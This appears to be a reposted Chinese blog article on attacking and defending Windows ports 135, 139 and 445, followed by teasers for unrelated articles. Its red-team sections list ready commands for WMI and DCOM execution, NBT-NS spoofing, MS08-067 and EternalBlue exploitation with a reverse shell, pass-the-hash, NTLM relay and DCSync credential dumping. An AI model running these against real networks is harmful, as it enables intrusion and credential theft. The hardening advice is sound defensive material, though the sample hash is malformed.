Windows核心端口攻防全解析:135、139、445端口的技术内幕与安全实践

引言:Windows网络通信的命脉

在Windows网络生态系统中,135、139和445端口犹如网络通信的"大动脉",承载着关键的系统服务和网络功能。这些端口不仅是正常业务运行的基础,也是攻击者最常瞄准的目标。本文将深入解析这三个核心端口的技术原理、渗透利用手法及防御策略,为安全从业人员提供全面的参考指南。

端口135:RPC服务的神经中枢

技术原理深度剖析

135端口是DCE/RPC(分布式计算环境/远程过程调用)服务的端点映射器,扮演着网络服务"调度中心"的角色。与一般服务端口不同,135端口本身并不直接提供功能服务,而是作为客户端与各种RPC服务之间的中介:

  1. 服务注册机制:Windows系统中的各类RPC服务(如WMI、事件日志、计划任务等)启动时会向RPC端点映射器注册自己监听的动态端口
  2. 动态端口分配:每次系统重启,这些RPC服务可能分配到不同的端口(通常在49152-65535范围内)
  3. 客户端查询流程:客户端只需知道目标服务器的IP和所需服务的唯一标识符(UUID),即可通过135端口获取实际服务端口
Client Port135 DynamicPort 查询WMI服务端口(UUID) 响应动态端口号(如54321) 连接WMI服务 提供WMI服务 Client Port135 DynamicPort

渗透测试实用技巧

作为红队成员,135端口提供了丰富的攻击面:

  1. 服务枚举与信息收集

    # 使用impacket工具包中的rpcdump.py
    rpcdump.py 192.168.1.10 | grep -i 'MS-RPRN\|MS-PAR'
    
  2. WMI远程命令执行

    # 通过WMI执行远程命令
    wmic /node:192.168.1.10 process call create "cmd.exe /c whoami > C:\output.txt"
    
  3. DCOM横向移动

    # 使用dcomexec.py进行DCOM攻击
    dcomexec.py domain/user:password@192.168.1.10 -object MMC20
    
  4. MS-RPRN打印机漏洞利用

    # 利用Print Spooler服务进行域控攻击
    dementor.py -d domain -u user -p password 192.168.1.10 192.168.1.20
    

企业级防御方案

针对135端口的防护需要分层实施:

  1. 网络层控制

    • 在边界防火墙限制135端口的入站连接
    • 内部网络实施分段隔离,限制RPC通信范围
  2. 系统层加固

    # 禁用不必要的RPC服务
    Set-Service -Name "RemoteRegistry" -StartupType Disabled
    Set-Service -Name "Spooler" -StartupType Disabled
    
  3. 监控与检测

    • 记录异常RPC端点查询行为
    • 监控非标准动态端口上的RPC连接

端口139:NetBIOS的遗产与风险

技术架构详解

139端口是NetBIOS会话服务的标准端口,属于NetBIOS over TCP/IP(NBT)协议栈的一部分。完整的NetBIOS三件套包括:

端口协议功能描述
137/UDPNetBIOS名称服务主机名解析(类似DNS)
138/UDPNetBIOS数据报服务无连接通信(广播消息)
139/TCPNetBIOS会话服务面向连接的SMB通信

在Windows 2000之前的系统中,文件共享完全依赖这套机制。典型的通信流程:

  1. 客户端通过137端口解析目标主机名
  2. 建立139端口的TCP会话连接
  3. 在会话通道上运行SMB协议进行文件操作

历史漏洞与现代利用

虽然现代系统已转向直接SMB(445端口),但某些场景下139端口仍可能被利用:

  1. 传统系统攻击

    # 针对Windows XP系统的空会话攻击
    enum4linux -a -u "" -p "" 192.168.1.20
    
  2. NetBIOS名称欺骗

    # 使用responder工具进行NBT-NS欺骗
    responder -I eth0 -wFb
    
  3. SMBv1漏洞利用

    # 利用MS08-067漏洞
    msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.20; exploit"
    

现代化防护策略

对于仍需要支持传统系统的环境:

  1. 协议升级

    # 禁用SMBv1(影响139和445端口)
    Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
    
  2. 访问控制

    # Windows防火墙规则示例
    netsh advfirewall firewall add rule name="Block NetBIOS" dir=in action=block protocol=TCP localport=139
    
  3. 网络隔离

    • 将传统系统置于独立VLAN
    • 配置交换机端口安全策略

端口445:现代SMB的攻防战场

SMB协议演进与安全特性

445端口承载的SMB协议经历了多个版本迭代:

版本引入时间安全改进
SMBv11980年代无加密,NTLM认证
SMBv22006(Vista)性能提升,基本安全
SMBv32012(Win8)AES加密,完整性检查

现代SMB的核心功能包括:

  • 文件与打印机共享
  • 远程服务管理(SCM)
  • 命名管道(IPC$)通信
  • 分布式文件系统(DFS)

高级攻击手法

445端口是内网横向移动的主要通道,红队常用技术包括:

  1. 永恒之蓝利用链

    # 自动化利用框架
    python eternalblue_exploit7.py 192.168.1.30 windows/shell_reverse_tcp 4444
    
  2. Pass-the-Hash攻击

    # 使用pth-winexe工具
    pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:cc36cf7a8514893efccd3324464tkg1 //192.168.1.30 cmd
    
  3. SMB中继攻击

    # 使用impacket的ntlmrelayx
    ntlmrelayx.py -t smb://192.168.1.40 -c "whoami"
    
  4. Kerberos降级攻击

    # 强制使用NTLM认证
    responder -I eth0 -A --disable-ess
    

企业级防护体系

构建纵深防御策略:

  1. 协议配置强化

    # 启用SMB签名(域控制器默认开启)
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    
  2. 认证保护

    # 限制NTLM使用
    New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\" -Name "RestrictSendingNTLMTraffic" -Value 2
    
  3. 网络微分段

    # 示例:仅允许特定服务器访问域控的445端口
    New-NetFirewallRule -DisplayName "Allow SMB to DCs" -Direction Inbound -LocalPort 445 -Protocol TCP -Action Allow -RemoteAddress 10.0.1.0/24
    
  4. 高级检测规则

    /* SIEM检测规则示例:异常SMB登录 */
    SELECT * FROM security_events 
    WHERE event_id = 4624 AND logon_type = 3 
    AND process_name LIKE '%\\sbm%' 
    AND src_ip NOT IN (SELECT ip FROM asset_db WHERE type = 'workstation')
    

端口协同攻击与防御案例分析

典型攻击路径重现

场景:攻击者从初始入侵到域控提权

  1. 信息收集阶段

    # 扫描发现开放135、445端口的系统
    nmap -p 135,139,445 -sV 192.168.1.0/24
    
  2. 初始突破

    # 利用MS17-010攻击文件服务器
    python eternalblue.py 192.168.1.50
    
  3. 横向移动

    # 通过WMI收集域信息
    wmiexec.py domain/user:password@192.168.1.100
    
  4. 权限提升

    # DCSync攻击获取域控凭证
    secretsdump.py -just-dc domain/user:password@192.168.1.200
    

综合防御方案

构建多层防御体系:

  1. 网络架构设计

    • 实施三层网络架构(核心、分布、接入)
    • 部署私有VLAN隔离敏感系统
  2. 端口访问矩阵

    端口允许访问源认证要求日志记录
    135管理子网Kerberos详细
    139拒绝
    445业务子网SMBv3详细
  3. 终端防护配置

    # 应用控制策略示例
    Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled
    

未来演进与替代方案

随着网络安全要求的提高,微软正推动现代替代方案:

  1. SMB over QUIC:基于UDP的安全传输
  2. Windows Admin Center:HTTPS-based管理
  3. Just Enough Administration:精细化权限控制

管理员应考虑逐步迁移:

# 启用Windows远程管理(5985/5986)
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpsListener -Value $true

结语:安全平衡的艺术

Windows核心端口的管理需要在功能与安全之间寻求平衡。通过理解底层技术原理、掌握攻击手法、实施分层防御,企业可以构建更安全的网络环境。建议定期进行:

  1. 端口使用情况审计
  2. 攻击模拟测试
  3. 安全配置基线检查

只有持续关注这三类核心端口的安全状态,才能有效防御日益复杂的网络攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/87922.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/87922.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/87922.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从生活场景学透 JavaScript 原型与原型链

一、构造函数:以 “人” 为例的对象工厂 1. 生活场景下的构造函数定义 我们以 “人” 为场景创建构造函数,每个人都有姓名、年龄等个性化属性,也有人类共有的特征: // 人类构造函数 function Person(name, age) {this.name na…

学c++ cpp 可以投递哪些岗位

此次描述知识针对应届生来说哈,如果是社招,更多是对于你目前从事的方向,技术栈进行招聘就好了。 此次编写是按照boss上岗位筛选的方式进行编写的,其实投简历一般也是用boss,后面也会出一篇文章给大家介绍一般找工作都用…

【Docker基础】Docker镜像管理:docker rmi、prune详解

目录 引言 1 Docker镜像管理概述 1.1 为什么需要镜像清理? 1.2 镜像生命周期管理 2 docker rmi命令详解 2.1 基本语法 2.2 常用选项 2.3 删除单个镜像 2.4 删除多个镜像 2.5 强制删除镜像 2.6 删除所有镜像 3 docker rmi工作原理 3.1 镜像删除流程 3.…

57-Oracle SQL Profile(23ai)实操

在上一期中说到了SQL Tuning Advisor其中一个影响对象就是SQL Profile,同样在管理和应用开发中,SQL性能优化是个任重道远的工作,低效的SQL语句让应用响应缓慢,用户整体体验下降,拖垮搞蹦整个系统都有可能。Oracle数据库提供了多种组合工具,有…

man的使用

man的使用 文章目录 man的使用基本用法:常见 man 命令操作:man 命令的章节:示例: man 是 Linux 和 macOS 系统中的命令,用于查看命令和程序的手册页(manual pages)。手册页包含了关于命令、函…

【蓝牙】手机连接Linux系统蓝牙配对,Linux Qt5分享PDF到手机

要实现手机连接 A40i Linux 系统并通过蓝牙接收 PDF 文件,可以按照以下步骤操作: 1. 配置 Linux 蓝牙功能 确保开发板上的蓝牙模块已正确驱动并支持蓝牙协议栈。 安装蓝牙工具: bash sudo apt install bluetooth bluez bluez-tools 启动蓝…

1432. 改变一个整数能得到的最大差值

1432. 改变一个整数能得到的最大差值 题目链接&#xff1a;1432. 改变一个整数能得到的最大差值 代码如下&#xff1a; class Solution { public:int maxDiff(int num) {string s to_string(num);function<int(char, char)> replace_stoi [&](char old_char, cha…

解密 Spring MVC:从 Tomcat 到 Controller 的一次完整请求之旅

今天&#xff0c;想和你聊一个我们每天都在打交道&#xff0c;但可能不曾深入思考的话题&#xff1a;当一个 HTTP 请求从浏览器发出&#xff0c;到最终被我们的 Spring Controller 处理&#xff0c;它到底经历了一场怎样的旅程&#xff1f; 理解这个流程&#xff0c;不仅仅是为…

在 Java 中操作 Map时,高效遍历和安全删除数据

在 Java 中操作 Map 时&#xff0c;高效遍历和安全删除数据可以通过以下方式实现&#xff1a; 一、遍历 Map 的 4 种高效方式 1. 传统迭代器&#xff08;Iterator&#xff09; Map<String, Integer> map new HashMap<>(); map.put("key1", 5); map.pu…

力扣-136.只出现一次的数字

题目描述 给你一个 非空 整数数组 nums &#xff0c;除了某个元素只出现一次以外&#xff0c;其余每个元素均出现两次。找出那个只出现了一次的元素。 你必须设计并实现线性时间复杂度的算法来解决此问题&#xff0c;且该算法只使用常量额外空间。 class Solution {public i…

Go 网络编程:HTTP服务与客户端开发

Go 在标准库中内置了功能强大的 net/http 包&#xff0c;可快速构建高并发、高性能的 HTTP 服务&#xff0c;广泛应用于微服务、Web后端、API中间层等场景。 一、快速创建一个HTTP服务 示例&#xff1a;最简Hello服务 package mainimport ("fmt""net/http&quo…

【Prism】 实现注入的几个标准化步骤(相机举例)

📸 Prism 架构中如何优雅地注册和注入相机服务 在开发基于 Prism + WPF 的应用时,合理使用依赖注入(DI)可以大大提高系统的可维护性和扩展性。本文以一个多相机平台管理系统为例,展示如何通过接口、枚举、容器注册等方式,实现相机服务的灵活配置与使用。 🧩 一、定义…

vue3组件式开发示例

1&#xff0c;定义组件&#xff08;根据实际调整提交分析结果方法&#xff09; <template><!-- 分析结果上传对话框组件 --><el-dialogv-model"uploadResultDialog":title"title":width"width":before-close"handleBeforeC…

基于arm linux的bluealsa开启蓝牙A2DP和SCO录音功能

bluealsa的软件架构 #mermaid-svg-ohITacCRHItwRR1t {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-ohITacCRHItwRR1t .error-icon{fill:#552222;}#mermaid-svg-ohITacCRHItwRR1t .error-text{fill:#552222;stroke:…

网页后端开发(基础3--Springboot框架)

web的服务器资源&#xff1a; 静态资源&#xff1a;服务器上存储的不会改变的数据&#xff0c;通常不会根据用户的请求而变化。比如&#xff1a;HTML、CSS、JS、图片、视频等&#xff08;负责页面展示&#xff09; 动态资源&#xff1a;服务器端根据用户请求和其他数据…

ROS通过urdf_to_graphiz对urdf和xacro文件进行结构可视化

对机器人的urdf文件进行结构可视化&#xff1a; 举例命令如下&#xff1a; urdf_to_graphiz go2_description.urdf 输出 .gv 和 .pdf文件&#xff0c;打开 pdf文件如图&#xff1a;

基于Uniapp+PHP的教育培训系统开发指南:网校源码实战剖析

在线教育日益普及的今天&#xff0c;如何快速搭建一个功能完善、体验良好的教育培训系统&#xff0c;成为众多教育机构、培训企业、个体讲师关注的焦点。与其从零开发&#xff0c;不如基于成熟框架快速部署。而UniappPHP正是当前“低成本高效率”开发网校系统的黄金组合。 本文…

键盘 AK35I Pro V2 分析

文章目录 AK35I Pro V21. MCU SN32F299SN32F299 内存映射 2. Bootloader3. TFT 135x240 1.14inch4. 键盘5. Flash PY25Q128HA6. 蓝牙 CH582F7. 扩展板8. 电池 606090 3.7V 4000mAh AK35I Pro V2 AK35I Pro V2 测评视频 键盘外壳使用卡扣固定, 外壳没有螺丝, 将外框向外翘起, 用…

11. TypeScript 工具类型

TypeScript 提供了一系列内置的“工具类型”&#xff08;Utility Types&#xff09;&#xff0c;它们是对已有类型进行变换的便捷方式。通过这些工具类型&#xff0c;开发者可以更灵活、可维护地进行类型设计&#xff0c;避免重复定义类型逻辑。 工具类型的作用主要有&#xf…

Kafka性能调优全攻略:从JVM参数到系统优化

前言 在大数据处理领域&#xff0c;Kafka以其高吞吐、高并发的特性成为消息队列的首选。然而&#xff0c;随着业务规模的扩大和数据量的激增&#xff0c;若配置不当&#xff0c;Kafka的性能和稳定性会受到严重影响。其中&#xff0c;JVM参数的调整是优化Kafka性能的关键一环&a…